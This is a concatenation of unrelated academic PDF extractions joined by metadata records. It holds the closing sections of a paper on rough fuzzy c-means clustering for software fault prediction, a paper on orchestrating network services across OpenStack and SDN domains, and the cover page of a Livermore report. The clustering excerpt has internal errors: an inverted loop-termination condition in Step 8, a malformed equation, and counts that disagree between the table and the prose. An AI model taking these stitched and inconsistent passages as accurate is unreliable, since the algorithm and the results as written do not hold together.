The equation is based on the weighting average of the crisp lower approximation and fuzzy boundary and has both the effects of fuzzy memberships and lower and upper bounds.
From Eq. (9), we observe that the cluster prototypes (centroids) depends on the parameters \(w\) and \(\tilde{w}\), and fuzzifier \(m\) rule their relative influence and the values are given by \(0 < \tilde{w} < w < 1\).
### 4.3 RFCM algorithm
The algorithmic steps are as follows:
**Step 1:** Assign initial centroids \(c_j\), where \(j = 1, \ldots, k\)
**Step 2:** Set value for \(m\), \(\epsilon\), \(\delta\) and iteration counter
**Step 3:** Compute \(u_{ij}^m\) using Eq. (3) for \(k\) clusters and \(n\) objects.
**Step 4:** If \(u_{ij}\) and \(u_{ip}\) are the two highest memberships of the object \(x_i\) and \((u_{ij} - u_{ip}) \leq \delta\), then \(x_i \in \bar{U}(v_j)\) and \(x_i \in \bar{U}(v_p)\).
**Step 5:** Otherwise, \(x_i \in L(v_j)\) and by the properties of rough sets, \(x_i \in \bar{U}(v_j)\).
**Step 6:** Update \(u_{ij}\) for \(k\) clusters and \(n\) objects considering their lower and boundary regions.
**Step 7:** Compute new centroid using Eq. (9)
**Step 8:** Repeat the steps 2 to 7, by incrementing \(t\), until \(|u_{ij}(t) - u_{ij}(t-1)| > \epsilon\).
In RFCM, the partitioning of the data set into lower approximation and boundary is mainly based on the value of \(\delta\) which is determined basically using Eq. (13)
\[ \delta = \frac{1}{n} \sum_{i=1}^{n} (u_{ij} - u_{ip}) \] \hspace{1cm} (13)\]
Where, \(n\) is the total number of objects, \(u_{ij}\) and \(u_{ip}\) are the highest and second highest memberships of \(x_i\).
5. Computational experiments and the results obtained
For conducting experiments on the proposed techniques, DATATRIEVE Transition/Software defect prediction dataset is chosen form PROMISE repository [21]. For predicting future error prone software modules, we have used unsupervised techniques namely, c means, fuzzy c- means and Rough fuzzy c- means.
The c-means algorithm basically partitions the dataset into specified number of crisp clusters where we don’t have option of predicting future error prone modules. In the second technique, fuzzy c- means clustering technique, the software modules are partitioned into set of overlapping clusters where modules have the membership of both fault prone and non-fault prone cluster. As our intended aim is to find the future error prone ambiguous module, the third technique, hybrid rough fuzzy c- means clustering technique determines the ambiguous modules falling in the boundary region.
By the term ambiguous, we mean that the particular modules can’t be classified with surety for their degree of being prone to potential errors. Such modules, if when classified using crisp clustering techniques may be misclassified as completely safe or vice versa thus increasing the risk of unexpected faults in the software system.
The results obtained for the set of experiments conducted are given in Table 1. The results show that traditional partitioning method, c- means has generated crisp binary results depicting whether a module is fault prone or non-fault prone.
<table>
<thead>
<tr>
<th>Class</th>
<th>c- means</th>
<th>FCM</th>
<th>RFCM</th>
</tr>
</thead>
<tbody>
<tr>
<td>Non fault prone</td>
<td>115</td>
<td>110</td>
<td>107</td>
</tr>
<tr>
<td>Fault Prone</td>
<td>15</td>
<td>50</td>
<td>30</td>
</tr>
<tr>
<td>Total</td>
<td>130</td>
<td>160</td>
<td>137</td>
</tr>
<tr>
<td>Overlapping</td>
<td>No</td>
<td>Yes</td>
<td>Yes</td>
</tr>
<tr>
<td>Boundary</td>
<td>Not detected</td>
<td>Not detected</td>
<td>Detected with 7 modules</td>
</tr>
<tr>
<td>Ambiguous region</td>
<td>Not present</td>
<td>Not ambiguous but its overlapping clusters</td>
<td>Elements in boundary region are ambiguous</td>
</tr>
</tbody>
</table>
While applying Fuzzy c-means, we find the modules falling in both the clusters and hence there is overlap among the clusters stating that 30 modules belong to both the clusters which cannot be termed as ambiguous but stated as overlap. On the contrary, when Rough fuzzy c-means is applied, there are seven modules lying in the boundary showing an ambiguous behavior.
The benefit of RFCM would be that, the boundary region in RFCM accommodates the ambiguous elements (software modules) which could lead to unexpected failures. The existence of upper approximation region in RFCM makes it easy to deal with outliers and the lower approximations helps in keeping the membership of particular modules to a specific cluster thus dealing with their overlapping nature.
The data points in Fig. 3 are the set of data points representing the software modules to be clustered for partitioning into sets of fault prone modules and non-fault prone modules. When clustering techniques are applied on the data points, the data points are grouped into clusters as given in Fig. 4 and Fig. 5.
In these figures, the green colored data points belong to cluster 1 and yellow colored data points belong to cluster 2 and the red indicator indicates the cluster centroids. From Fig. 4, we also observe that there are few data points belonging to both clusters being on the same point thus indicating ambiguity.
In Fig. 5, the boundary shows some set of modules which are to be concentrated much as those are future error prone software modules which may affect software reliability. Hence, the results of these clustering techniques help the software test team and the developers to concentrate on these modules to great extent so that detailed analysis of those modules will help in achieving high reliable systems.
Figure 3 Set of software modules before partitioning
Figure 4: Software modules clustered into fault prone and non-fault prone without boundary region.
Figure 5: Software modules clustered into fault prone and non-fault prone with overlapping boundary region.
6. Conclusion
Software fault prediction is considered to be an important task in software development process. The conventional machine learning methods for classification allows the user to know whether the module under test is fault prone or not-fault prone.
In reality, there is a chance that, the module which is passed in testing is not concentrated much for future faults that might arise due to several reasons. In this paper, we used RFCM clustering technique to find the ambiguous modules. Dataset from PROMISE software engineering repository has been taken for the analysis. The obtained results were promising enough in achieving the separation between fault prone modules, non-fault prone modules and the boundary region which holds modules which might be fault prone in future. This is the benefit obtained using the proposed method Rough Fuzzy c-means approach which helps in highlighting the ambiguous software modules whose prediction increases the reliability of the system when the software team focuses on those modules. Basically, it helps the software team to take proactive measures towards possible software failures, which otherwise would go unnoticed if some conventional technique were used for the analysis.
The precision of this technique is higher when compared to conventional techniques and this makes it suitable for tasks which are critical in nature. Hence, the proposed approach has more chances of applicability for several other applications in real world. In future, the performance of the clustering can be assessed using appropriate cluster validity measures to know the quality of the clusters formed and also optimization techniques can be applied to further improve the performance of the clustering algorithms.
References
|
{"Source-Url": "http://www.inass.org/2017/2017123101.pdf", "len_cl100k_base": 5818, "olmocr-version": "0.1.50", "pdf-total-pages": 8, "total-fallback-pages": 0, "total-input-tokens": 31019, "total-output-tokens": 7446, "length": "2e12", "weborganizer": {"__label__adult": 0.0003223419189453125, "__label__art_design": 0.00027251243591308594, "__label__crime_law": 0.00035643577575683594, "__label__education_jobs": 0.0005617141723632812, "__label__entertainment": 5.1975250244140625e-05, "__label__fashion_beauty": 0.0001481771469116211, "__label__finance_business": 0.0001761913299560547, "__label__food_dining": 0.0003361701965332031, "__label__games": 0.0005741119384765625, "__label__hardware": 0.001041412353515625, "__label__health": 0.0005998611450195312, "__label__history": 0.00015926361083984375, "__label__home_hobbies": 8.612871170043945e-05, "__label__industrial": 0.00034928321838378906, "__label__literature": 0.0002105236053466797, "__label__politics": 0.0001723766326904297, "__label__religion": 0.00036025047302246094, "__label__science_tech": 0.0207366943359375, "__label__social_life": 8.26716423034668e-05, "__label__software": 0.00626373291015625, "__label__software_dev": 0.96630859375, "__label__sports_fitness": 0.0002677440643310547, "__label__transportation": 0.00034499168395996094, "__label__travel": 0.00015747547149658203}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 28733, 0.03855]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 28733, 0.67033]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 28733, 0.88511]], "google_gemma-3-12b-it_contains_pii": [[0, 3688, false], [3688, 8903, null], [8903, 13212, null], [13212, 17451, null], [17451, 19404, null], [19404, 23234, null], [23234, 26404, null], [26404, 28733, null]], "google_gemma-3-12b-it_is_public_document": [[0, 3688, true], [3688, 8903, null], [8903, 13212, null], [13212, 17451, null], [17451, 19404, null], [19404, 23234, null], [23234, 26404, null], [26404, 28733, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 28733, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 28733, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 28733, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 28733, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 28733, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 28733, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 28733, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 28733, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 28733, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 28733, null]], "pdf_page_numbers": [[0, 3688, 1], [3688, 8903, 2], [8903, 13212, 3], [13212, 17451, 4], [17451, 19404, 5], [19404, 23234, 6], [23234, 26404, 7], [26404, 28733, 8]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 28733, 0.0625]]}
|
olmocr_science_pdfs
|
2024-12-02
|
2024-12-02
|
69a132cea82447ec708947628ec069a60176b99b
|
End-to-end service orchestration across SDN and cloud computing domains
Original
Availability:
This version is available at: 11583/2677012 since: 2017-11-04T12:04:43Z
Publisher:
IEEE
Published
DOI:10.1109/NETSOFT.2017.8004234
Terms of use:
openAccess
This article is made available under terms and conditions as specified in the corresponding bibliographic description in the repository
Publisher copyright
(Article begins on next page)
End-to-End Service Orchestration across SDN and Cloud Computing Domains
Roberto Bonafiglia, Gabriele Castellano, Ivano Cerrato, Fulvio Risso
Politecnico di Torino, Dept. of Computer and Control Engineering, Torino, Italy
Abstract—This paper presents an open-source orchestration framework that deploys end-to-end services across OpenStack-managed data centers and SDN networks controlled either by ONOS or OpenDaylight. The proposed framework improves existing software in two directions. First, it exploits SDN domains not only to implement traffic steering, but also to execute selected network functions (e.g., NAT). Second, it can deploy a service by partitioning the original service graph into multiple subgraphs, each one instantiated in a different domain, dynamically connected by means of traffic steering rules and parameters (e.g., VLAN IDs) negotiated at run-time.
I. INTRODUCTION
End-to-end service deployment of Network Functions Virtualization (NFV) services usually involves two levels of orchestrators [1], [2]. As shown in Figure 1, an overarching orchestrator (OO) sits on top of many possible heterogeneous technological domains and receives the end-to-end service request as a service graph, which defines the involved VNFs and their interconnections. This component is responsible of (i) selecting the domain(s) involved in the service deployment (e.g., where NFs have to be executed), (ii) deciding the network parameters to be used to create the proper traffic steering links among the domains, and (iii) creating the service subgraphs to be actually instantiated in above domains. The bottom orchestration level includes a set of Domain Orchestrators (DO), each one handling a specific technological domain and interacting with the infrastructure controller (e.g., the OpenStack [3] cloud toolkit in data centers, the ONOS [4] or OpenDaylight (ODL) [5] controller in SDN networks) to actually instantiate the service subgraph in the underlying infrastructure. In addition, DOs export a summary of the computing and networking characteristics of the domain, used by the OO to execute its own tasks. Notably, DOs simplify the integration of existing infrastructure controllers in the orchestration framework, because any possible missing feature is implemented in the DO itself while the infrastructure controllers are kept unchanged.
Existing orchestration frameworks (e.g., [6]) present the following limitations. First, they exploit SDN domains only to create network paths, neglecting the fact that SDN controllers can actually host many applications (e.g., firewall, NAT) that program the underlying network devices according to their own logic. Second, they do not take care of automatically configuring the inter-domain traffic steering to interconnect portions of the service graph deployed on different domains. For instance, this would require to properly characterize subgraphs endpoints (called Service Access Point, or SAPs) with the proper network parameters, thus replacing the question marks in the subgraphs shown in Figure 1 with the proper information such as VLAN IDs, GRE keys and more, based on the capabilities of the underlying infrastructure.
This paper overcomes the above limitations by proposing an orchestration framework that (i) can transparently instantiate NFs wherever they are available (e.g., either on cloud computing or SDN domains), and (ii) that enables the OO to enrich the service subgraphs with information needed for DOs to automatically set up the inter-domain traffic steering.
particularly, the paper presents the OO, and details the architecture and implementation of two open source DOs that deploy service graphs in vanilla SDN-based and OpenStack-based domains, namely in SDN networks and data centers. Notably, other domains can be integrated in our orchestration framework as well, provided that the proper DO is created and executed on top of the companion infrastructure controller.
The remainder of this paper is the following. Section II details the domain characteristics exported by DOs and shows how this is used by the OO to execute its own tasks. The OpenStack domain orchestrator is then presented in Section III, while Section IV details the SDN domain orchestrator. Evaluation results are provided in Section V, and finally Section VI concludes the paper.
II. MULTI-DOMAIN ORCHESTRATION
In a multi-domain infrastructure, the OO receives from each DO the characteristics of the domain under their responsibility, such as the capabilities and available resources in terms of computing and networking. When a service is requested through its northbound interface, the OO (i) selects the best domain(s) that have to be involved in the service deployment, (ii) creates the service subgraphs for each of those domains based on information associated by domain themselves, and (iii) pushes the resulting subgraphs to the selected DOs (Figure 1). This section presents first what and how is exported by DOs, and the operations carried out by the OO to implement the service.
A. Exported domain information
Each DO exports a summary of the computing and networking characteristics of the controlled domain according to a specific data model (available at [7]) that has been derived from the YANG [8] templates defined by OpenConfig [9].
From the point of view of computing, we export for each domain the list of NFs it is able to implement (e.g., firewall, NAT). For example, a NF can be a software bundle available in the ONOS controller in case of SDN domain, a specific VM image present in the domain VM repository in case of data center, and more. Notably, DOs advertise neither how NFs are implemented, nor the resources required for their execution. This enables the OO to schedule a given NF on any domain advertising the capability to execute such a function, being it a data center or an SDN network.
From the point of view of networking, DOs export a description of the domain as a “big-switch” with a set of boundary interfaces, whose attributes are used by the OO to decide the parameters needed to set up the inter-domain traffic steering, which need to be coordinated among the two domains that terminate the connection. First, the DO advertises whether the selected boundary interface is directly connected with another domain (and, if so, who), with an access network, or the Internet. Second, it advertises a set of inter-domain traffic steering technologies, which indicate the ability of the domain to classify incoming traffic based on specific patterns (e.g., VLAN ID, GRE tunnel key), and modify outgoing traffic in the same way (e.g., send packets as encapsulated in a specific tunnel, or tagged with a given VLAN ID, and more). Each inter-domain traffic steering technology is then associated with a list of labels (e.g., VLAN ID, GRE key) that are still available and can then be exploited to identify new types of traffic. Finally, other parameters associated with interfaces are inherited from the OpenConfig model, e.g., their Ethernet/IP configuration.
B. Overarching orchestrator
The overarching orchestrator deploys service graphs that consist of service access points (SAPs), NFs and (logical) links, as shown at the top of Figure 2. A SAP represents an entry/exit point of traffic into/from the service graph; it may be associated with a specific traffic classifier (i.e., that selects packets that have to enter in the given service graph) and with a specific domain boundary interface that corresponds, e.g., to the entry point of those packets in the multi-domain infrastructure. Links can be associated with constraints on the traffic that has to transit on that specific connection.
In order to deploy service graphs\(^1\), the OO operates on a virtual view of the underlying infrastructure, built using information exported by DOs and consisting in a set of interconnected domains, each one associated with the available NFs, and with the proper characterization of the inter-domain connections (e.g., available VLAN IDs). With this information, the OO selects the domain(s) that will actually implement the required NFs, links and SAPs. To this purpose, we exploit a greedy approach inspired by the hierarchical routing, which minimizes the distance between two NFs/SAPs directly connected in the service graph, in terms of domains to be traversed. Notably, a NF can be executed in all domains that advertise the possibility of implementing that specific NF. Hence, when a given NF (e.g., a firewall) is needed, the OO is enabled to select any domain in which that NF is available, regardless of the fact that such a domain is a data center implementing the NF as a VM, or an SDN network implementing it with an SDN application executed in the controller. Moreover, some SAPs are already associated with specific domain interfaces, and then must be scheduled on that specific domain.
\(^1\)We implemented the steps described in this section in the FROG orchestrator, whose source code is available at [10]. We also developed an open source library to manage service graphs, which is available at [11].
As shown in Figure 2, once domains involved in the deployment of NFs have been selected, the OO creates one subgraph per each domain, which includes the NFs and SAPs assigned to that domain and, possibly, new SAPs not present in the “original” service graph. These are originated by links that have been split because connecting NFs (or SAPs) assigned to different domains. Notably, some domains (e.g., domain-B in Figure 2) are only used to create network paths between NFs/SAPs that are actually instantiated in other domains; a service subgraph is generated for these domains as well, which just include links between (new) SAPs.
The two SAPs originated from the split of a link must be associated with parameters to be used by DOs to create inter-domain links between them, thus recreating the connection described in the service graph. Then, as shown in Figure 2, the OO associates new SAPs with specific domain boundary interfaces, and with a specific inter-domain traffic steering technology and label (e.g., GRE tunnel based on the key 0x01) that is available in both interfaces to be connected.
As shown in Figure 3, each DO can configure its own domain (e.g., by instantiating specific flow rules) so that packets sent through a specific SAP are properly manipulated (e.g., encapsulated in a specific GRE tunnel) before being sent towards the next domain through a specific interface. Similarly, this information enables DOs to recognize the traffic received from a specific interface and a specific encapsulation as entering from a given SAP. Notably, packets should be tagged/encapsulated just before being sent out of the domain, while the tag/encapsulation should be removed just after the packet is classified in the next domain.
III. OPENSTACK DOMAIN ORCHESTRATOR
This section presents our OpenStack Domain Orchestrator (OS-DO) that enables the instantiation of service (sub)graphs in cloud computing environments controlled by the vanilla OpenStack controller. Source code is available at [10].
A. OpenStack overview
As shown in Figure 4, an OpenStack domain includes the OpenStack infrastructure controller that manages: (i) high-volume servers, called compute nodes, hosting VMs (or containers); (ii) a network node hosting the basic networking services and representing the entry/exit point for traffic in/from the data center network; (iii) an optional SDN controller, which is mandatory in our scenario; (iv) other helper services such as the VM images repository. Each compute node includes two OpenFlow-enabled virtual switch instances (Open vSwitch [12] in our scenario): br-int, connected to all the VM ports running in that specific compute node, and br-ex, connected to the physical ports of the server. Servers are connected through a physical network that it is not necessarily under the control of the OpenStack controller.
This paper focuses on the two main components of the OpenStack controller. Nova, the former, takes care of handling the lifecycle of VMs (e.g., start/stop) in the compute nodes, while Neutron, the latter, is responsible for managing the vSwitches (e.g., create ports, instantiate flow rules), in our case through the SDN controller. Particularly, Neutron programs the forwarding tables of the vSwitches in order to create virtual networks between VMs ports, which implement a broadcast LAN and may include basic services (e.g., DHCP and routing) deployed on the network node.
B. Discovering and exporting domain information
One of the tasks of the OS-DO is to advertise a summary of the computing and networking characteristics of the underlying domain, which includes the supported NFs (taken from the OpenStack VMs repository) and information about the boundary interfaces. Boundary interfaces are virtual/physical interfaces of the network node, which are responsible for connecting the OpenStack domain to the rest of the world and hence handling incoming/outgoing traffic.
The list of boundary interfaces and the associated parameters (e.g., next domain, available inter-domain traffic steering technologies and labels, etc.) is loaded at bootstrap and exported both at the system bootstrapping and each time a change is detected (e.g., an inter-domain traffic steering technology cannot be used anymore, an interface has been shut down).
If the graph is valid, the OS-DO interacts with Neutron to define the NFs ports and create one virtual network for each link of the service graph; each virtual network will then be attached to the two NFs ports connected by the link itself. In case of link between a NF port and a SAP, the virtual network is connected only to the NF, because the vanilla OpenStack is not able to attach domain boundary interfaces to such a network. At this point, the OS-DO interacts with Nova in order to start the required NFs; Neutron creates automatically the NF ports defined before, connects them to the br-int switch in the compute node(s) where NFs are deployed, and finally instantiates the flow rules needed to implement the required virtual networks.
The OS-DO has to create (i) all the links connecting a NF with a SAP and (ii) the inter-domain traffic steering on its own; this is done by interacting directly with the SDN controller (ODL in our case) because the vanilla OpenStack (i.e., Neutron) offers limited possibilities to control the inbound/outbound traffic of the data center (e.g., only through IP addresses), which is not enough to set up the inter-domain traffic steering. To create the link between a NF port and a SAP (which is associated with a domain boundary interface in the network node, and with inter-domain traffic steering information), the OS-DO first interacts with ODL to get the br-int switch connected to the NF. Then, through ODL, it creates a GRE tunnel between such a vSwitch and the network node, and sets up the flow rules in order to actually create the connection. At this point, the OS-DO inserts in the network node also the flow rules needed to properly tag/encapsulate outgoing traffic and to classify incoming packets, as required by the inter-domain traffic steering parameters associated with the SAPs.
Finally, by default OpenStack checks that the traffic exiting from a VM port has, as a source address, the MAC address assigned to the port itself, in order to avoid address spoofing in VMs. However, in case the VM implements a transparent NF (e.g., network monitor), it sends out traffic generated by other components, and therefore with a source MAC address different from that of the VM port. Then, when creating NF ports in Neutron, the OS-DO configures such a module in order to disable the checks on the above ports.
D. Limitations
Vanilla OpenStack does not complex graphs that require to split the traffic between different NFs (e.g., the web traffic exiting from a firewall has to go to the HTTP proxy, while the rest goes directly to the Internet, as shown in the graph of Figure 2), and neither asymmetric graphs (e.g., traffic exiting from the firewall goes to the HTTP proxy, but not vice versa). In fact, since vanilla Neutron only connects VM ports to virtual LANs, we are forced to use these virtual networks to implement links, resulting in the impossibility to finely split network traffic and to have asymmetric connections. Overcoming this limitation requires a set of deep modifications to OpenStack, as shown in [13], resulting in the impossibility to rely on vanilla controllers.
IV. SDN DOMAIN ORCHESTRATOR
This section details our SDN Domain Orchestrator (SDN-DO) [10] that sits on top of a network domain consisting of OpenFlow switches under the responsibility of a vanilla SDN controller, allowing an OO to instantiate service graphs that include both NFs and links.
As shown in Figure 5, the SDN-DO executes its own tasks (e.g., retrieves the list of NFs to be exported, implements the received service subgraph) by interacting with the SDN controller through a specific driver, which exploits the vanilla REST API exported by the controller itself. At the time of writing, a complete driver for ONOS (Falcon, Goldeneye, Hummingbird and Ibis releases) has been developed, while a partial driver for OpenDaylight (Hydrogen, Helium and Lithium releases) is available, which lacks of the possibility of interacting with the controller to manage NFs; then, in this case the domain can just be used to set up network paths.
A. Exploiting SDN applications as NFs in service graphs
The proposed SDN-DO exploits the possibility offered by widespread SDN controllers to dynamically deploy and run applications in the form of software bundles. In fact these bundles, which implement the logic that decides which OpenFlow rules to deploy in the switches, can implement network applications such as NAT, L4 firewall and more, namely NFs usually executed as VMs running in cloud computing domains. However, the following main differences exist between NFs implemented as SDN applications (hence software bundles), and NFs implemented as VMs. First, SDN applications usually just process the first packet(s) of a flow, then install specific rules in the underlying switches so that the next packets are directly processed by the switches themselves, while VMs...
reside on the data path and hence receive (and process) all packets explicitly. Second, while VMs have in fact virtual ports that can be connected among each other through, e.g., a vSwitch, software bundles do not have ports, then it is not trivial to guarantee that flow rules instantiated by a NF B only operate on traffic already processed by flow rules installed by a NF A, in case B follows A in the service graph. Then, the current version of the SDN-DO prototype only supports graphs with up to one chained NF; support for complex services is a future work\(^2\).
Unfortunately, not all the bundles available in the SDN controller may be used as NFs. For instance, some of them may not actually implement any NF (e.g., the bundle that discovers the network topology) while others, although implementing NFs, may not accept the configuration of specific parameters such as the subset of traffic on which they have to operate, thus preventing the SDN-DO to properly setup graph links. In other words, SDN applications must be extended to be compatible with our architecture; the SDN-DO (details in Section IV-B) looks at specific additional information in the Project Object Model (POM) of each ONOS bundle to detect suitable applications.
Finally, SDN controllers usually do not support multiple instances of the same bundle running at the same time, preventing the SDN-DO to deploy the same NFs as part of different graphs; then multi-tenancy, if desired, has to be managed by the application itself and written, with the proper syntax, in the POM file as well.
B. Discovering and exporting domain information
One of the tasks of the SDN-DO is to export information about the domain boundary interfaces and the list of NFs available in the domain. The former information is managed in the same way as the OS-DO. For the latter, we created a new “app-monitor” ONOS bundle [14] that retrieves the list of available NFs. In particular, app-monitor uses a specific ONOS API in order to intercept the following events: (i) bundle installed - a new application is available, which may be used to implement a NF; (ii) bundle removed - the application is no longer available and cannot be used anymore to implement NFs; (iii) bundle activated - the application is running; however, given that ONOS does not support multiple instances of the same application, that application is no longer available for future services (hence, the SDN-DO must not longer advertise that capability), unless it explicitly supports multi-tenancy; (iv) bundle deactivated - the application is no longer used, hence it is available again. Each time the status of a NF bundle changes, the SDN-DO updates the exported information and notifies the OO accordingly.
C. Deploying service graphs
When receiving a service (sub)graph, the SDN-DO first validates the service request by checking the availability of the requested NFs in ONOS and the validity of the parameters associated with the SAPs. Then, it interacts with the network controller in order to start the proper NFs. Graphs links and inter-domain traffic steering information are managed in different ways depending on the fact that the link is between two SAPs, or between a SAP and a NF port.
In the former case (e.g., the connection between SAP-3 and SAP-4 in Figure 5), the SDN-DO, through the SDN controller, directly instantiates the flow rules to setup the connection between the endpoints. In addition, it instantiates the flow rules needed to implement the inter-domain traffic steering, i.e., to properly tag/encapsulate the packets before sending them out of the domain, and to classify incoming packets and recognize the SAP they “belong” to.
Instead, if a link connects a SAP to a NF (e.g., the connection between SAP-2 and the NAT in Figure 5), the SDN-DO configures the application (using the ONOS Network Configuration Service [15]) with information about the traffic on which it has to operate, which is derived by the parameters associated with the SAP itself. For instance, the above NAT is configured to operate on specific traffic coming from interfaces s1/if-0 and s3/if-2 (i.e., with a specific source MAC address in the former case, with VLAN_ID 12 in the latter), to tag traffic transmitted on s3/if-2 with the VLAN_ID 12, and to untag traffic tagged with VLAN_ID 12 and received from such an interface. Hence, in this case the inter-domain traffic steering is handled directly by the ONOS application that has to be aware of these parameters, while in case of the OS-DO, VMs ignore completely how they are connected with the rest of the graph.
V. VALIDATION
We validated the proposed orchestration framework by instantiating a service graph consisting of a NAT between an host and a public server, both attached to an SDN network.
Tests have been repeated in two configurations. Initially, (Figure 6(a)), the SDN domain has no available NFs, hence it is exploited only for traffic steering and the NF is deployed as a VM on OpenStack; inter-domain traffic is delivered by setting up the proper GRE tunnels. Second (Figure 6(b)), the SDN-DO exports the capability of running the NAT as a bundle on top of the ONOS controller, hence the OO selects the SDN domain also to execute the NF. In this way, the traffic exchanged between Host and Server only traverses the SDN domain and the OpenStack domain is not involved at all in the service deployment.
In both cases, we measured the time needed by the orchestration framework to deploy and start the service; results are shown in Figure 7, which breaks the total deployment time in the several steps of the process. As expected, the major contribution to the service deployment is given by the VM startup, while the activation of the SDN bundle is almost immediate. As shown in the picture, we also measured the time between the end of the service deployment from the point of view of the overarching orchestrator, and the time in which Host and Server were able to communicate. In case of
\(^2\) A similar problem may exist between flow rules instantiated by NFs and flow rules installed by the SDN-DO, e.g., in order to set up the inter-domain traffic steering, as described later in this section.
This paper presents an open source orchestration framework based on two layers of orchestrators, which is capable of deploying end-to-end services across vanilla SDN and cloud computing domains. The presented architecture includes a DO sitting on top of each specific infrastructure domain, which exports (i) the list of NFs (e.g., firewall, NAT) available in the domain itself and (ii) the information associated with the domain boundary interfaces. Our architecture exploits the former information to allow the OO to transparently instantiate NFs both on cloud computing domains and in SDN networks, hence enabling SDN domains to provide richer services that go beyond traditional traffic steering. Instead, the latter are used to enrich the service (sub)graphs with the data required to set up automatically the inter-domain traffic steering, hence enabling to setup highly dynamic services.
The paper details also the implementation of two different DOs: one instantiates services in OpenStack-based cloud environments, the other interacts either with ONOS or OpenDaylight to deploy traffic steering in the SDN network and (in case of ONOS) to execute NFs in the form of software bundles. Other infrastructure domains can be integrated in our framework, provided that the proper DO is created.
VI. CONCLUSION
References
|
{"Source-Url": "https://iris.polito.it/retrieve/handle/11583/2677012/157018/multidomain-ossn.pdf", "len_cl100k_base": 5493, "olmocr-version": "0.1.50", "pdf-total-pages": 7, "total-fallback-pages": 0, "total-input-tokens": 23962, "total-output-tokens": 6616, "length": "2e12", "weborganizer": {"__label__adult": 0.00035381317138671875, "__label__art_design": 0.0003380775451660156, "__label__crime_law": 0.00037980079650878906, "__label__education_jobs": 0.000640869140625, "__label__entertainment": 0.00014901161193847656, "__label__fashion_beauty": 0.00017523765563964844, "__label__finance_business": 0.0007314682006835938, "__label__food_dining": 0.0003757476806640625, "__label__games": 0.0006299018859863281, "__label__hardware": 0.0031566619873046875, "__label__health": 0.0007300376892089844, "__label__history": 0.0004248619079589844, "__label__home_hobbies": 9.864568710327148e-05, "__label__industrial": 0.000759124755859375, "__label__literature": 0.00026798248291015625, "__label__politics": 0.0003504753112792969, "__label__religion": 0.0004742145538330078, "__label__science_tech": 0.309326171875, "__label__social_life": 0.00012433528900146484, "__label__software": 0.05859375, "__label__software_dev": 0.6201171875, "__label__sports_fitness": 0.0003299713134765625, "__label__transportation": 0.0009317398071289062, "__label__travel": 0.00030422210693359375}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 28783, 0.0184]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 28783, 0.51988]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 28783, 0.90803]], "google_gemma-3-12b-it_contains_pii": [[0, 877, false], [877, 5230, null], [5230, 10016, null], [10016, 14325, null], [14325, 19255, null], [19255, 25474, null], [25474, 28783, null]], "google_gemma-3-12b-it_is_public_document": [[0, 877, true], [877, 5230, null], [5230, 10016, null], [10016, 14325, null], [14325, 19255, null], [19255, 25474, null], [25474, 28783, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 28783, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 28783, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 28783, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 28783, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 28783, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 28783, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 28783, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 28783, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 28783, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 28783, null]], "pdf_page_numbers": [[0, 877, 1], [877, 5230, 2], [5230, 10016, 3], [10016, 14325, 4], [14325, 19255, 5], [19255, 25474, 6], [25474, 28783, 7]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 28783, 0.0]]}
|
olmocr_science_pdfs
|
2024-11-30
|
2024-11-30
|
ef4509dd2991554b1185f8cdc5bd03ec96afcb7f
|
Parallel Object-Oriented Framework Optimization
D. Quinlan
This article was submitted to Compilers for Parallel Computers Edinburgh, Scotland, UK June 27-29, 2001
May 1, 2001
Approved for public release; further dissemination unlimited
DISCLAIMER
This document was prepared as an account of work sponsored by an agency of the United States Government. Neither the United States Government nor the University of California nor any of their employees, makes any warranty, express or implied, or assumes any legal liability or responsibility for the accuracy, completeness, or usefulness of any information, apparatus, product, or process disclosed, or represents that its use would not infringe privately owned rights. Reference herein to any specific commercial product, process, or service by trade name, trademark, manufacturer, or otherwise, does not necessarily constitute or imply its endorsement, recommendation, or favoring by the United States Government or the University of California. The views and opinions of authors expressed herein do not necessarily state or reflect those of the United States Government or the University of California, and shall not be used for advertising or product endorsement purposes.
This is a preprint of a paper intended for publication in a journal or proceedings. Since changes may be made before publication, this preprint is made available with the understanding that it will not be cited or reproduced without the permission of the author.
This report has been reproduced
directly from the best available copy.
